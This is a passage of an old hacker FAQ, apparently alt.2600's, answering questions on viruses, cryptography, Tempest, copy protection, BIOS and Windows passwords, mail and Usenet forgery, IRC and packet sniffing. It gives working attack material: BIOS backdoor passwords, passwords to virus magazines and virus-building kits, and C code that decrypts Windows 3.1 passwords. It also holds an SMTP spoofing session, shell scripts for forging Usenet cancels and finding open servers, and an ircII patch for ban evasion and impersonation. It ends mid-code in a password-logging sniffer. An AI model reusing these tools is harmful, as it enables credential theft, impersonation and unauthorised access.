Right now there are about 5600 known viruses. New ones are written all the time. If you use a scanner for virus detection, you need to make sure you get frequent updates. If you rely on behavior blockers, you should know that such programs can be bypassed easily by a technique known as tunnelling.
You may want to use integrity checkers as well as scanners. Keep in mind that while these can supply added protection, they are not foolproof.
You may want to use a particular kind of scanner, called resident scanners. Those are programs which stay resident in the computer memory and constantly monitor program execution (and sometimes even access to the files containing programs). If you try to execute a program, the resident scanner receives control and scans it first for known viruses. Only if no such viruses are found, the program is allowed to execute.
Most virus scanners will not protect you against many kinds of trojans, any sort of logic bombs, or worms. Theoretically, they could protect you against logic bombs and/or worms, by addition of scanning strings; however, this is rarely done.
The best, actually only way, to protect yourself is to know what you have on your system and make sure what you have there is authorized by you. Make frequent backups of all important files. Keep your DOS system files write protected. Write protect all disks that you do not need to write to. If you do get a virus, don't panic. Call the support department of the company who supplies your anti-virus product if you aren't sure of what you are doing. If the company you got your anti-virus software from does not have a good technical support department, change companies.
The best way to make sure viruses are not spread is not to spread them. Some people do this intentionally. We discourage this. Viruses aren't cool.
A-21. Where can I get more information about viruses?
This FAQ answer was written by Theora:
Assembly language programming books illustrate the (boring) aspect of replication and have for a long time. The most exciting/interesting thing about viruses is all the controversy around them. Free speech, legality, and cute payloads are a lot more interesting than "find first, find next" calls. You can get information about the technical aspects of viruses, as well as help if you should happen to get a virus, from the virus-l FAQ, posted on comp. virus every so often. You can also pick up on the various debates there. There are alt.virus type newsgroups, but the level of technical expertise is minimal, and so far at least there has not been a lot of real "help" for people who want to get -rid- of a virus.
There are a lot of virus experts. To become one, just call yourself one. Only Kidding. Understanding viruses involves understanding programming, operating systems, and their interaction. Understanding all of the 'Cult of Virus' business requires a lot of discernment. There are a number of good papers available on viruses, and the Cult of Virus; you can get information on them from just about anyone listed in the virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de is a pretty reliable site for programs and text.
A-22. What is Cryptoxxxxxxx?
This FAQ answer is excerpted from Computer Security Basics by Deborah Russell and G.T. Gengemi Sr.
A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption.
The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists.
A-23. What is PGP?
This FAQ answer is excerpted from PGP(tm) User's Guide; Volume I: Essential Topics by Philip Zimmermann
PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design.
Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography.
PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses.
A-24. What is Tempest?
Tempest stands for Transient Electromagnetic Pulse Surveillance Technology.
Computers and other electronic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart.
What is important for an observer is the emission of digital pulses (1s and 0s) as these are used in computers. The channel for this radiation is in two arrangements, radiated emissions and conducted emissions. Radiated emissions are assembled when components in electrical devices form to act as antennas. Conducted emissions are formed when radiation is conducted along cables and wires.
Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electronic equipment to attempt to pick up and decipher the radiated emissions from her video monitor. These emissions normally exist at around 55-245 Mhz and can be picked up as far as one kilometer away.
A monitoring device can distinguish between different sources emitting radiation because the sources emanating the radiation are made up of dissimilar elements and so this coupled with other factors varies the emitted frequency. For example different electronic components in VDUs, different manufacturing processes involved in reproducing the VDUs, different line syncs, etc... By synchronizing our raster with the targets raster we can passively draw the observed screen in real-time. This technology can be acquired by anyone, not just government agencies.
The target could shield the emissions from her equipment or use equipment that does not generate strong emissions. However, Tempest equipment is not legal for civilian use in the United States.
Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping. Tempest certification refers to the equipment having passed a testing phase and agreeing to emanations rules specified in the government document NACSIM 5100A (Classified). This document sets forth the emanation levels that the US Government believes equipment can give off without compromising the information it is processing.
A-25. How do I defeat Copy Protection?
There are two common methods of defeating copy protection. The first is to use a program that removes copy protection. Popular programs that do this are CopyIIPC from Central Point Software and CopyWrite from Quaid Software. The second method involves patching the copy protected program. For popular software, you may be able to locate a ready made patch. You can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If you cannot, you must patch the software yourself.
Writing a patch requires a debugger or a disassembler. It also requires some knowledge of assembly language. Load the protected program under the debugger and watch for it to check the protection mechanism. When it does, change that portion of the code. The code can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions.
A-26. What are some available debuggers and disassemblers?
Debuggers
Soft-Ice ($439)
Soft-Ice for Windows ($329)
Soft-Ice for Windows95 ($329)
Soft-Ice for WindowsNT ($329)
Nu-Mega Technologies, Inc.
9 Townsend West
Nashua, NH 03063
http://www.compuware.com/products/numega/index.htm
(603)889-2386
(800)468-6342D86: Eric Isaacson's ShareWare debugger
http://eji.com/a86/BrandX full-screen debugger
ftp://ftp.cdrom.com/pub/simtelnet/msdos/asmutl/bxd26.zip
Disassemblers
Sourcer ($95)
V Communications, Inc.
4320 Stevens Creek Boulevard
Suite 120
San Jose, CA 95129
(408)296-4224
(408)296-4441 Fax
http://www.v-com.com/product/devsou1.html E-mail: sales@v-com.comIDA Pro(Interactive Disassembler)
http://www.datarescue.com/
A-27. How do I defeat a BIOS password?
This depends on what BIOS the machine has. Common BIOS's include AMI, Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are the most common.
Some BIOS's allow you to require a password be entered before the system will boot. Some BIOS's allow you to require a password to be entered before the BIOS setup may be accessed.
Every BIOS must store this password information somewhere. If you are able to access the machine after it has been booted successfully, you may be able to view the password. You must know the memory address where the password is stored, and the format in which the password is stored. Or, you must have a program that knows these things.
You can write your own program to read the CMOS memory on a PC by writing the address of the byte of CMOS memory that you wish to read in port 0x370, and then reading the contents of port 0x371.
The most common pre-written BIOS password attack programs are for AMI BIOS. Some password attack programs will return the AMI BIOS password in plain text, some will return it in ASCII codes, some will return it in scan codes. This appears to be dependent not just on the password attacker, but also on the version of AMI BIOS.
To obtain AMI BIOS password attackers, ftp to oak.oakland.edu /pub/simtelnet/msdos/sysutl/.
Award BIOS appears not to store the BIOS password, but instead only stores a two byte checksum of the BIOS password. This means that any other password with the same checksum will work just as well as the original password.
In addition, Award BIOS seems to implement backdoor passwords. One backdoor password is eight spaces. Other backdoor passwords are "AWARD_SW", "AWARD_PW", "589589", "condo", "j262", "KDD", "ZBAAACA", "ZAAAADA", and "ZJAAADC." Remember that these may not be the actual backdoor passwords, these passwords may simply have the same checksum as the actual backdoor passwords. This checksum is stored at F000:EC60.
If you cannot access the machine after if has been powered up, it is still possible to get past the password. The password is stored in CMOS memory that is maintained while the PC is powered off by a small battery, which is attached to the motherboard. If you remove this battery, all CMOS information will be lost. You will need to re-enter the correct CMOS setup information to use the machine. The machines owner or user will most likely be alarmed when it is discovered that the BIOS password has been deleted.
On some motherboards, the battery is soldered to the motherboard, making it difficult to remove. If this is the case, you have another alternative. Somewhere on the motherboard you should find a jumper that will clear the BIOS password. If you have the motherboard documentation, you will know where that jumper is. If not, the jumper may be labeled on the motherboard. If you are not fortunate enough for either of these to be the case, you may be able to guess which jumper is the correct jumper. This jumper is usually standing alone near the battery. If you cannot locate this jumper, you might short both of the points where the battery connects to the motherboard. Several people have reported positive results from doing this, but I haven't wanted to test it on any of my own motherboards.
A-28. What is the password for <encrypted file>?
This FAQ answer was written by crypt <crypt@nyongwa.montreal.qc.ca>
Magazine Password VLAD Magazine Issue #1 vlad VLAD Magazine Issue #2 vx VLAD Magazine Issue #3 virus NuKE InfoJournal Issue #2 514738 NuKE InfoJournal Issue #3 power NuKE InfoJournal Issue #4 party
Program
Sphere Hacker 1.40 & 1.41 theozone Virus Creation 2000 high level Virus Construction Lab Chiba City Ejecutor Virus Creator EJECUTOR Biological Warfare v0.90 lo tek Biological Warfare v1.00 freak
A-29. Is there any hope of a decompiler that would convert an executable program into C/C++ code?
This FAQ answer is an excerpt from SNIPPETS by Bob Stout:
Don't hold your breath. Think about it... For a decompiler to work properly, either 1) every compiler would have to generate substantially identical code, even with full optimization turned on, or 2) it would have to recognize the individual output of every compiler's code generator.
If the first case were to be correct, there would be no more need for compiler benchmarks since every one would work the same. For the second case to be true would require in immensely complex program that had to change with every new compiler release.
OK, so what about specific decompilers for specific compilers - say a decompiler designed to only work on code generated by, say, BC++ 4.5? This gets us right back to the optimization issue. Code written for clarity and understandability is often inefficient. Code written for maximum performance (speed or size) is often cryptic (at best!) Add to this the fact that all modern compilers have a multitude of optimization switches to control which optimization techniques to enable and which to avoid. The bottom line is that, for a reasonably large, complex source module, you can get the compiler to produce a number of different object modules simply by changing your optimization switches, so your decompiler will also have to be a deoptimizer which can automagically recognize which optimization strategies were enabled at compile time.
OK, let's simplify further and specify that you only want to support one specific compiler and you want to decompile to the most logical source code without trying to interpret the optimization. What then? A good optimizer can and will substantially rewrite the internals of your code, so what you get out of your decompiler will be, not only cryptic, but in many cases, riddled with goto statements and other no-no's of good coding practice. At this point, you have decompiled source, but what good is it?
Also note carefully my reference to source modules. One characteristic of C is that it becomes largely unreadable unless broken into easily maintainable source modules (.C files). How will the decompiler deal with that? It could either try to decompile the whole program into some mammoth main() function, losing all modularity, or it could try to place each called function into its own file. The first way would generate unusable chaos and the second would run into problems where the original source hade files with multiple functions using static data and/or one or more functions calling one or more static functions. A decompiler could make static data and/or functions global but only at the expense or readability (which would already be unacceptable).
Finally, remember that commercial applications often code the most difficult or time-critical functions in assembler which could prove almost impossible to decompile into a C equivalent.
Like I said, don't hold your breath. As technology improves to where decompilers may become more feasible, optimizers and languages (C++, for example, would be a significantly tougher language to decompile than C) also conspire to make them less likely.
For years Unix applications have been distributed in shrouded source form (machine but not human readable -- all comments and whitespace removed, variables names all in the form OOIIOIOI, etc.), which has been a quite adequate means of protecting the author's rights. It's very unlikely that decompiler output would even be as readable as shrouded source.
A-30. How does the MS-Windows password encryption work?
This FAQ answer was written by Wayne Hoxsie <hoxsiew@crl.com>:
The password option in MS Win 3.1 is easily defeated, but there are those of us who really want to know how MS does this. There are many reasons why knowing the actual password can be useful. Suppose a sysamin used the same password in the windows screen saver as his root account on a unix box.
Anyway, I will attempt to relay what I have learned about this algorithm.
I will describe the process starting after you've entered the password and hit the [OK] button.
I will make the assumtion that everyone (at least those interested) know what the XOR operation is.
First, the length of the password is saved. We'll call this 'len'. We will be moving characters from the entered string into another string as they are encrypted. We'll call the originally entered password 'plaintext' and the encrypted string(strings--there are two passes) 'hash1' and 'hash2.' The position in the plaintext is important during the process so we'll refer to this as 'pos.' After each step of the hashing process, the character is checked against a set of characters that windows considers 'special.' These characters are '[ ] =' and any character below ASCII 33 or above ASCII 126. I'll refer to this checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8 character password is considered chars 0 to 7).
Now, the first character of 'plaintext' is xor'd with 'len' then fed to 'is_ok'. if the character is not valid, it is replaced by the original character of 'plaintext' before going to the next operation. The next operation is to xor with 'pos' (this is useless for the first operation since 'len' is 0 and anything xor'd with zero is itself) then fed to 'is_ok' and replaced with the original if not valid. The final operation (per character) is to xor it with the previous character of 'plaintext'. Since there is no previous character, the fixed value, 42, is used on the first character of 'plaintext'. This is then fed to 'is_ok' and if OK, it is stored into the first position of 'hash1' This process proceeds until all characters of plaintext are exhausted.
The second pass is very similar, only now, the starting point is the last character in hash1 and the results are placed into hash2 from the end to the beginning. Also, instead of using the previous character in the final xoring, the character following the current character is used. Since there is no character following the last character in hash1, the value, 42 is again used for the last character.
'hash2' is the final string and this is what windows saves in the file CONTROL.INI.
To 'decrypt' the password, the above procedure is just reversed.
Now, what you've all been waiting for. Here is some C code that will do the dirty work for you:
#include <stdlib.h> #include <stdio.h> #include <string.h> int xor1(int i,int j) { int x; x=i^j; return (x>126||x<33||x==91||x==93||x==61)?i:x; } void main() { FILE *f; int i,l; char s[80],s1[80]; printf("Please enter the path to your Windows directory\n"); gets(s1); sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\"); if((f=fopen(s,"rt"))==NULL){ printf("File Error : %s\n",sys_errlist[errno]); exit(0); } while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f)); fclose(f); strtok(s1,"=\n"); strcpy(s,strtok(NULL,"\n")); i=strlen(s)-1; for(l=i;l>-1;l--) s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1); for(l=0;l<i+1;l++) s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1); printf("The Password is: %s\n",s); }
A-31. What is an Intrusion Detection System (IDS)?
An Intrusion Detection System is a system for detecting misuse of network or computer resources.
An IDS will have a number of sensors it utilizes to detect intrusions. Example sensors may be:
A sensor to monitor TCP connection requests. Log file monitors. File integrity checkers. The IDS system is responsible for collecting data from it's sensors and analyzing this data to give the security administrator notice of malicious activity on the network.
Section B -- Data Networks
B-01. How do I send fakemail?
Telnet to port 25 of the machine you want the mail to appear to originate from. This will connect you directly to the SMTP (Simple Mail Transfer Protocol) daemon running on that host. Then, enter SMTP commands by hand directly to the SMTP daemon.
Enter your message as in this example:
HELO bellcore.com
MAIL FROM:voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
Date: Thu, 31 Dec 1998 12:16:35 -0500 (EST)
From: voyager@bellcore.com (The Voyager)
To: president@whitehouse.gov
Subject: Clipper
Reply-To: voyager@bellcore.com.Please discontinue your silly Clipper initiative.
QUITOn systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first.
Newer SMTP daemons, such as smail 3.1.29.1+ or sendmail 8.7+, perform an identd check when you connect to them. These SMTP daemons are impossible to completely spoof without first spoofing identd.
For more information read RFC 822 (Standard for the format of ARPA Internet text messages).
Note that the headers inside the DATA statement should be optional, but are actually required by some mailers. Even when not required, they often help your message appear genuine.
To locate an SMTP server for a domain, use `nslookup` and set your querytype to MX.
B-02. How do I fake posts and control messages to Usenet?
From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
Subject: FAQ: Better living through forgery
Date: 19 Mar 1995 02:37:09 GMT
Anonymous netnews without "anonymous" remailers
Inspired by the recent "NetNews Judges-L" events, this file has been updated to cover forging control messages, so you can do your own article canceling and create and destroy your own newsgroups.
Save any news article to a file. We'll call it "hak" in this example.
Edit "hak", and remove any header lines of the form
From some!random!path!user (note: "From ", not "From: "!!!)Shorten the Path header down to its LAST two or three "bangized" components. This is to make the article look like it was posted from where it really was posted, and originally hit the net at or near the host you send it to. Or you can construct a completely new Path: line to reflect your assumed alias. Make some change to the Message ID: field, that isn't likely to be duplicated anywhere. This is usually best done by adding a couple of random characters to the part before the @, since news posting programs generally use a fixed-length field to generate these IDs.
Article:
Lines:
Xref:
Change the other headers to say what you like -- From:, Newsgroups:,
Sender:, etc. Replace the original message text with your message. If
you are posting to a moderated group or posting a control message,
remember to put in an Approved: header to bypass the moderation
mechanism.
To specifically cancel someone else's article, you need its message-ID. Your message headers, in addition to what's already there, should also contain the following with that message-ID in it. This makes it a "control message". NOTE: control messages generally require an
Approved: header as well, so you should add one.
Subject: cmsg cancel <xb8700A@twits.site.com>
Control: cancel <xb8700A@twits.site.com>
Approved: luser@twits.site.com
Newsgroups are created and destroyed with control messages, too. If you wanted to create, for instance, comp.misc.microsoft.sucks, your control headers would look like
Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks
Add on the string "moderated" at the end of these if you want the group to be "moderated with no moderator" as with alt.hackers. Somewhere in the body of your message, you should include the following text, changed with the description of the group you're creating:
For your newsgroups file:
comp.misc.microsoft.sucks We don't do windows
To remove a group, substitute "rmgroup" for "newgroup" in the header lines above. Keep in mind that most sites run all "rmgroup" requests through a human news-master, who may or may not decide to honor it. Group creation is more likely to be automatic than deletion at most installations. Any newsgroup changes are more likely to take effect if the come from me, since my name is hardwired into many of the NNTP control scripts, so using the From: and Approved: headers from this posting is recommended.
Save your changed article, check it to make sure it contains NO reference to yourself or your own site, and send it to your favorite NNTP server that permits transfers via the IHAVE command, using the following script:
#! /bin/sh ## Post an article via IHAVE. ## args: filename server if test "$2" = "" ; then echo usage: $0 filename server exit 1 fi if test ! -f $1 ; then echo $1: not found exit 1 fi # suck msg-id out of headers, keep the brackets msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \ sed 's/.*-[Ii][Dd]: //'` echo $msgid ( sleep 5 echo IHAVE $msgid sleep 5 cat $1 sleep 1 echo "." sleep 1 echo QUIT ) | telnet $2 119If your article doesn't appear in a day or two, try a different server. They are easy to find. Here's a script that will break a large file full of saved netnews into a list of hosts to try. Edit the output of this if you want, to remove obvious peoples' names and other trash.
#! /bin/sh FGV='fgrep -i -v' egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\ /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucpOnce you have your host list, feed it to the following script.
#! /bin/sh while read xx ; do if test "$xx" = "" ; then continue; fi echo === $xx ( echo open $xx 119 sleep 5 echo ihave IamSOk00l@podunk.edu sleep 4 echo . echo quit sleep 1 echo quit ) | telnet doneIf the above script is called "findem" and you're using csh, you should do:
findem < list >& outfileso that ALL output from telnet is captured. This takes a long time, but when it finishes, edit "outfile" and look for occurrences of "335". These mark answers from servers that might be willing to accept an article. This isn't a completely reliable indication, since some servers respond with acceptance and later drop articles. Try a given server with a slightly modified repeat of someone else's message, and see if it eventually appears.
Sometimes the telnets get into an odd state, and freeze, particularly when a host is refusing NNTP connections. If you manually kill these hung telnet processes but not the main script, the script will continue on. In other words, you may have to monitor the finding script a little while it is running.
You will notice other servers that don't necessarily take an IHAVE, but say "posting ok". You can probably do regular POSTS through these, but they will add an "NNTP-Posting-Host: " header containing the machine YOU came from and are therefore unsuitable for completely anonymous use.
Please use the information in this article for constructive purposes only.
B-03. How do I hack ChanOp on IRC?
Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose.
B-04. How do I modify the IRC client to hide my real username?
Note: This FAQ answer was written by someone else, but I do not know who. If you know who originally wrote this, please e-mail me.Applying these changes to the source code for your ircII client and recompiling gives you a new ircII command: /NEWUSER. This new command can be used as follows:
- /NEWUSER <new_username> [new_IRCNAME]
- <new_username> is a new username to use and is required
- [new_IRCNAME] is a new IRCNAME string to use and is optional
- This will disconnect you from your server and reconnect using
- the new information given. You will rejoin all channel you
- are currently on and keep your current nickname.
The effect is basically changing your username/IRCname on the fly. Although you are disconnected from your server and reconnected, the ircII client is never exited, thus keeping all your state information and aliases intact. This is ideal for bots that wish to be really obnoxious in ban evasion. ;)
As this is now a new command in ircII, it can be used in scripts. Be aware that the reconnect associated with the NEWUSER command takes time, so TIMER any commands that must immediately follow the NEWUSER. For example... ban evasion made easy (but beware infinite reconnects when your site is banned):
on ^474 * { echo *** Banned from channel $1 if ($N == [AnnMurray]) { nick $randomstring join $1 } { nick AnnMurray newuser $randomstring timer 5 join $1 } }
Or just to be annoying... a /BE <nickname> alias that will assume a person's username and IRCNAME:
alias be { ^on ^311 * { ^on 311 -* newuser $2 $5- } whois $0 }
Now... in order to add this command to your ircII client, get the latest client source (or whatever client source you are using). Cd into the source directory and edit the file "edit.c". Make the following changes:
Locate the line which reads:
extern void server();
Insert the following line after it:
static void newuser();
This pre-defines a new function "newuser()" that we'll add later.
Now, locate the line which reads:"NAMES", "NAMES", funny_stuff, 0,Insert the following line after it:"NEWUSER", NULL, newuser, 0,
This adds a new command NEWUSER to the list of valid IRCII commands, and tells it to call our new function newuser() to perform it.
Finally, go the bottom of the file and add the following code as our new function "newuser()":/* * newuser: the /NEWUSER command. Added by Hendrix * Parameters as follows: * /NEWUSER[new_IRCNAME] * is a new username to use and is required * [new_IRCNAME] is a new IRCNAME string to use and is optional * This will disconnect you from your server and reconnect using * the new information given. You will rejoin all channels you * are currently on and keep your current nickname. */ static void newuser(command, args) char *command, *args; { char *newuname; if (newuname = next_arg(args, &args)) { strmcpy(username, newuname, NAME_LEN); if (*args) strmcpy(realname, args, REALNAME_LEN); say("Reconnecting to server..."); close_server(from_server); if (connect_to_server(server_list[from_server].name, server_list[from_server].port, primary_server) != -1) { change_server_channels(primary_server, from_server); set_window_server(-1, from_server, 1); } else say("Unable to reconnect. Use /SERVER to connect."); } else say("You must specify a username and, optionally, an IRCNAME"); } /NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c as shown in the following diff and set an environment variable named CTCPFINGER with the information you would like to display when queried.
*** ctcp.old --- ctcp.c *************** *** 334 **** ! char c; --- 334 --- ! char c, *fing; *************** *** 350,354 **** ! if (pwd = getpwuid(uid)) { char *tmp; --- 350,356 ---- ! if (fing = getenv("CTCPFINGER")) ! send_ctcp_reply(from, ctcp->name, fing, diff, c); ! else if (pwd = getpwuid(uid)) { char *tmp;
B-05. What is sniffing?
Sniffing is listening (with software) to the raw network device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password."
You will have to obtain or code a sniffer that is capable of working with the appropriate type of network interface. Popular network interfaces include NIT (Network Interface Tap), and DLPI (Data Link Provider Interface), and BPF (Berkeley Packet Filter.)
LLI was a network interface used by SCO, which has been augmented with DLPI support as of SCO OpenServer Release V. NIT was a network interface used by Sun, but has been replaced in later releases of SunOS/Solaris with DLPI. Ultrix supported the Ultrix Packet Filter before Digital implemented support for BPF.
DLPI is supported under current releases of System V Release 4, SunOS/Solaris, AIX, HP/UX, UnixWare, Irix, and MacOS. DLPI is partially supported under Digital Unix. Sun DLPI version 2 supports Ethernet, X.25 LAPB, SDLC, ISDN LAPD, CSMA/CD, FDDI, token ring, token bus, and Bisync as data-link protocols. The DLPI network interface provided with HP/UX supports Ethernet/IEEE 802.3, IEEE 802.5, FDDI, and Fibre Channel.
For more information regarding DLPI refer to the DLPI Specification or the paper "How to Use DLPI in Solaris 2.x" by Neal Nuckolls.
BPF is supported under current releases of BSD and Digital Unix, and has been ported to SunOS and Solaris. AIX supports BPF reads, but not writes. A BPF library is available for Linux.
Many sniffers are available for various operating systems:
Here is source code for a sample ethernet sniffer using NIT under SunOS 4.x:
/* Esniff.c */ #include <stdio.h> #include <ctype.h> #include <string.h> #include <sys/time.h> #include <sys/file.h> #include <sys/stropts.h> #include <sys/signal.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/nit_if.h> #include <net/nit_buf.h> #include <net/if_arp.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netinet/ip_var.h> #include <netinet/udp_var.h> #include <netinet/in_systm.h> #include <netinet/tcp.h> #include <netinet/ip_icmp.h> #include <netdb.h> #include <arpa/inet.h> #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) #define MAXBUFLEN (128) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIME<tm) { \ register struct CREC *CLe,*CLt = CLroot; \ LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \ while(CLe=CLt) { \ CLt=CLe->Next; \ if(CLe->Time <tm) \ END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \ } \ } \ } void filter(cp, pktlen) register char *cp; register u_int pktlen; { register struct ip *ip; register struct tcphdr *tcph; { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( 